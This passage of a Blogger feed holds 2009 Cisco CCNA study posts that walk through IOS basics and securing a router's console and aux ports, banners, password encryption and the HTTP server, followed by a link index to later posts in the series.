/&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SohwBNAoceI/AAAAAAAABL8/4Xx5Wa3g1Rs/s1600-h/Picture+2.png"&gt;&lt;img src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SohwBNAoceI/AAAAAAAABL8/4Xx5Wa3g1Rs/s400/Picture+2.png" alt="" id="BLOGGER_PHOTO_ID_5370665721613808098" style="cursor: pointer; width: 400px; height: 305px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Okay, right now I have a Console port and an Auxilary port I want to configure.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To start with I'll secure the Console port.  From the Enable mode I want to enter into Configuration mode and then into console port configuration mode.  To do this i use the following commands:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#line con 0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#logging synchronous&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#exec-timeout 10 0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#password flipper&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#login&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#exit&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;What I have done here is selected to configure line con 0 which is the console port. The prompt changed to indicate which configuration mode I am in. I told it to set logging to synchronous, which means when the informational messages or debugging messages hit the screen it wont screw with my command. I have then set the exec-timeout to 30 minutes and 0 seconds which means my console session will be disconnected after 30 minutes of inactivity.  I could have set this to not time out by using 0 minutes and 0 seconds. I have then set my console password to flipper and told it to prompt me to log in by issuing the login command.  After entering those I used the exit command to come out of the line con 0 configuration and get back to the configuration mode.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;I'll do the same for the Aux port as this can be used to access the router as well.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#line aux 0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#logging synchronous&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#exec-timeout 30 0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#password flipper&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#login&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config-line)#exit&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After securing the ports I want to set up a banner on my router to warn any unauthorised people that they should not be accessing the router.  I do this with the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#banner motd % No unauthorised access %&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/Sohwe0Yi2VI/AAAAAAAABME/g6udFB-VwHI/s1600-h/Picture+3.png"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/Sohwe0Yi2VI/AAAAAAAABME/g6udFB-VwHI/s400/Picture+3.png" alt="" id="BLOGGER_PHOTO_ID_5370666230399293778" style="cursor: pointer; width: 400px; height: 316px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Different banners can be created for events such as prompt timeout, login, exec or for SLIP/PPP.  They can also be real fancy and have ASCII art if you so wish.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After all this configuration I look at the running config to check all is as it should be.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0#show running-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SohwwfDaKNI/AAAAAAAABMM/6Qq_iv4VlXo/s1600-h/Picture+4.png"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SohwwfDaKNI/AAAAAAAABMM/6Qq_iv4VlXo/s400/Picture+4.png" alt="" id="BLOGGER_PHOTO_ID_5370666533911144658" style="cursor: pointer; width: 322px; height: 400px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Here I am able to see all the commands I have entered.  Now it's important to remember that the commands take effect as soon as they are typed (and you have pressed enter of course!).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One thing that bothers me about the running config as shown in the screenshot is my console passwords and aux port passwords are in clear text.  Anyone looking over my shoulder (the wife or dog) could see these and they would be well on there way to owning my router.  I can fix this by turning on the password encryption service, showing the config again and then turning it off.  But remember, when we configure the VTY (Telnet) ports in a later post I need to do this again otherwise the new VTY ports passwords will be clear text.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0#configure terminal&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#service password-encryption&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#exit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0#show running-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#no service password-encryption&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#end&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So I have entered configuration mode, turned on the password encryption service, looked at the config, then I turned the service off.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now looking at the config I see that the passwords are encrypted with Type 7 encryption.  Now one thing about Type 7 encryption, its a piece of piss to crack, Cape in will do it as will many websites. All that Type 7 will do is stop the casual observer from seeing an easily remembered password (if thats what you use).  Obviously its goes without saying that your Enable password should be different from the port passwords you set.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SohxGERJNiI/AAAAAAAABMU/k0sJulWlr_Q/s1600-h/Picture+5.png"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SohxGERJNiI/AAAAAAAABMU/k0sJulWlr_Q/s400/Picture+5.png" alt="" id="BLOGGER_PHOTO_ID_5370666904678118946" style="cursor: pointer; width: 400px; height: 260px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;One last thing I noticed is the IP http server is enabled by default.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SohxQ7ninKI/AAAAAAAABMc/M249FgYOPl8/s1600-h/Picture+6.png"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SohxQ7ninKI/AAAAAAAABMc/M249FgYOPl8/s400/Picture+6.png" alt="" id="BLOGGER_PHOTO_ID_5370667091334700194" style="cursor: pointer; width: 400px; height: 162px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;As I dont plan to use this I disable it using the "no" command&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0(config)#no ip http server&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I check this has worked with another show running-config&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0#show running-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SohxeeBsTgI/AAAAAAAABMk/I7QmeM6VhZo/s1600-h/Picture+7.png"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SohxeeBsTgI/AAAAAAAABMk/I7QmeM6VhZo/s400/Picture+7.png" alt="" id="BLOGGER_PHOTO_ID_5370667323909492226" style="cursor: pointer; width: 400px; height: 190px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;After finally setting up my router so it is secure i save the settings from running-config to startup-config.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0#copy running-config startup-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 255, 51);"&gt;R0#show startup-config&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;What I have done here is copied the running-config in RAM to the startup-config in NVRAM.  The router will prompt me to give the configuration a name but I just press enter to select the default option that is shown in square brackets. After that completed I checked the startup-config.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Sohyi6K175I/AAAAAAAABMs/1u18tGHmTPA/s1600-h/Picture+8.png"&gt;&lt;img src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Sohyi6K175I/AAAAAAAABMs/1u18tGHmTPA/s400/Picture+8.png" alt="" id="BLOGGER_PHOTO_ID_5370668499695169426" style="cursor: pointer; width: 400px; height: 229px;" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia,-webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;In my next post I'll be looking at getting telnet and SSH set up.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-2368547823399749523?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/2368547823399749523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=2368547823399749523&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2368547823399749523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2368547823399749523'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/08/securing-my-router.html' title='Securing My Router'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_vZAp7b1QDw8/SohvrqJEwxI/AAAAAAAABL0/HXNbjxTIx2g/s72-c/Picture+1.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-7214759920158710629</id><published>2009-08-15T21:53:00.009+01:00</published><updated>2009-08-16T21:26:44.777+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Getting To Know The IOS &amp; The Device</title><content type='html'>&lt;span class="Apple-style-span"  style="font-family:Arial, fantasy;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;I'll just quickly explain in the best way I can a few things about Cisco IOS.  Cisco IOS is loaded from flash into RAM when the router boots (thats all the ##### you see).  After the IOS has loaded you have have yourself a nice little OS running in memory.  By typing a ? at whichever prompt you are at you will see the commands available.  And by typing a ? after a command you will see all the subcommands available.  This is super cool if you get stuck and need to know what comes next.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span"   style="  ;font-family:Arial;font-size:medium;"&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After IOS loads it will look in a number of places for the startup-config (NVRAM, Network), but generally it will load this from NVRAM.  If it's a new router with no startup-config you'll be prompted to configure the router (don't do this though, it's boring!).  As you type commands and change the configuration the changes are entered into the running-config which is in RAM. It's only when you save the running-config that this configuration overwrites the startup-config. So if a mistake is made and you mess up bad and you haven't saved the running-config to the startup-config the router can be simply rebooted to revert back to the startup-config or to a blank configuration.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So i've heard, during the CCNA exam the whole command needs to be typed (or use tab to complete) so i'll be doing that here to get familiar with the commands.  In reality only enough of the command needs to be typed to make it unambiguous. So for example:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;conf t&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;configure terminal&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;These are both the same command.  You could press tab after typing "conf" and it would complete the command for you. The commands are not case sensitive and if you screw up IOS will tell you and show you where with a ^ symbol.  I know what your thinking, sweet!&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Also, IOS is really helpful, if you don't know what to type next just type ? at the end of the command and it will tell you what can come next.  Have a play, you'll soon get the hang of it.  I suggest though that if your going to take a Cisco exam just get used to using the tab key because if you use "sh run" instead of "show running-config" in the exam they'll have you for it!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Right, after connecting to the device, in GSN3 this is as simple as starting the device and clicking the console option.  If your in Windows and physically connecting to a device you will need one of the blue cisco console cables connected to the console port on the device and HyperTerminal.  HyperTerminal needs to be configured with:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bits per second: 9600&lt;/div&gt;&lt;div&gt;Data bits: 8&lt;/div&gt;&lt;div&gt;Parity: None&lt;/div&gt;&lt;div&gt;Stop bits: 1&lt;/div&gt;&lt;div&gt;Flow control: None&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Once the device boots, just type no when prompted to enter the initial configuration dialog and you'll be sitting at a &gt; prompt. By typing ? at the prompt you'll see available options.  From here you can use network diagnostic tools such as Ping and Traceroute as well as a few others.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Georgia, fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Socg7uqTqPI/AAAAAAAABLU/TzqIhSxwAu4/s1600-h/Picture+1.png"&gt;&lt;img src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Socg7uqTqPI/AAAAAAAABLU/TzqIhSxwAu4/s400/Picture+1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5370297291172456690" style="cursor: pointer; width: 400px; height: 348px; " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;From here we can look at the some information on the device.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;Router&gt;show version&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Georgia, fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SochM_Z06WI/AAAAAAAABLc/DNuJrHBHf1Y/s1600-h/Picture+2.png"&gt;&lt;img src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SochM_Z06WI/AAAAAAAABLc/DNuJrHBHf1Y/s400/Picture+2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5370297587724511586" style="cursor: pointer; width: 400px; height: 350px; " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As you can see from the output we can see all sorts of details on the device such as the types of interfaces, the memory, the configuration register (we'll get back to this later), &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Also by typing show ? you will see a list of the other settings you can view, such as SNMP Statistics, Telnet user sessions, memory, IP information, Flash etc...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;Router&gt;show ?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Georgia, fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SochpDWoo1I/AAAAAAAABLk/WhzL21Kaf_s/s1600-h/Picture+3.png"&gt;&lt;img src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SochpDWoo1I/AAAAAAAABLk/WhzL21Kaf_s/s400/Picture+3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5370298069821203282" style="cursor: pointer; width: 384px; height: 400px; " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;From the user mode we are currently at you can't really do much in the way  of changing the config on the device.  You need to enter into Enable mode to do that.  To enter into Enable mode just type enable.  Notice that the prompt changes from the &gt; to a # .  This is a good indicator of what mode your in.  From here type ? to see the additional options available.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;Router#?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Georgia, fantasy;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SociFUA1_nI/AAAAAAAABLs/aF5XJDZSx68/s1600-h/Picture+4.png"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SociFUA1_nI/AAAAAAAABLs/aF5XJDZSx68/s400/Picture+4.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5370298555329543794" style="cursor: pointer; width: 384px; height: 400px; " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Have a look around at the additional options and the new show options ( show ? ) and to return to user mode just type disable.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In this post we have just looked at the IOS and started to get familiar with it.  Notice how we have been able to navigate round the IOS pretty freely without needing any credentials.  In the next post i'll be locking the router down.&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-7214759920158710629?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/7214759920158710629/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=7214759920158710629&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7214759920158710629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7214759920158710629'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/08/getting-to-know-ios-device.html' title='Getting To Know The IOS &amp; The Device'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/Socg7uqTqPI/AAAAAAAABLU/TzqIhSxwAu4/s72-c/Picture+1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-4620050284268331935</id><published>2009-08-15T21:43:00.019+01:00</published><updated>2009-10-05T21:41:32.627+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>And On The Cisco Menu Tonight.....</title><content type='html'>&lt;span class="Apple-style-span"   style=";font-family:Arial;font-size:medium;"&gt;&lt;div&gt;This post will act as my main link page to my up and coming posts.  As I post an entry I'll link the entries below.  This will make things much easier to find.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Routers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;1. &lt;a href="http://synjunkie.blogspot.com/2009/08/getting-to-know-ios-device.html"&gt;Getting to know IOS &amp;amp; the Cisco device&lt;/a&gt;&lt;/div&gt;&lt;div&gt;2. &lt;a href="http://synjunkie.blogspot.com/2009/08/securing-my-router.html"&gt;Securing the router&lt;/a&gt;&lt;/div&gt;&lt;div&gt;3. &lt;a href="http://synjunkie.blogspot.com/2009/09/backup-restore-ios-and-configs.html"&gt;Backing up and upgrading the IOS and configuration&lt;/a&gt;&lt;/div&gt;&lt;div&gt;4. &lt;a href="http://synjunkie.blogspot.com/2009/09/setting-up-ssh-on-cisco-router.html"&gt;Configuring SSH on a Router&lt;/a&gt;&lt;/div&gt;&lt;div&gt;5. &lt;a href="http://synjunkie.blogspot.com/2009/08/configuring-router-interfaces.html"&gt;Configuring Interfaces&lt;/a&gt;&lt;/div&gt;&lt;div&gt;6. &lt;a href="http://synjunkie.blogspot.com/2009/10/discovering-devices-with-cdp.html"&gt;Gathering information on connected devices - CDP&lt;/a&gt;&lt;/div&gt;&lt;div&gt;7. &lt;a href="http://synjunkie.blogspot.com/2009/09/password-recovery-on-cisco-router.html"&gt;Password recovery&lt;/a&gt;&lt;/div&gt;&lt;div&gt;8.&lt;a href="http://synjunkie.blogspot.com/2009/09/using-radius-to-authenticate-logins.html"&gt; Authenticating with RADIUS&lt;/a&gt;&lt;/div&gt;&lt;div&gt;9. &lt;a href="http://synjunkie.blogspot.com/2009/09/ip-routing-static-routes.html"&gt;IP Routing - Static Routing&lt;/a&gt;&lt;/div&gt;&lt;div&gt;10. &lt;a href="http://synjunkie.blogspot.com/2009/09/ip-routing-rip.html"&gt;IP Routing - RIP&lt;/a&gt;&lt;/div&gt;&lt;div&gt;11.&lt;a href="http://synjunkie.blogspot.com/2009/09/ip-routing-ospf.html"&gt;IP Routing - OSPF&lt;/a&gt;&lt;/div&gt;&lt;div&gt;12.&lt;a 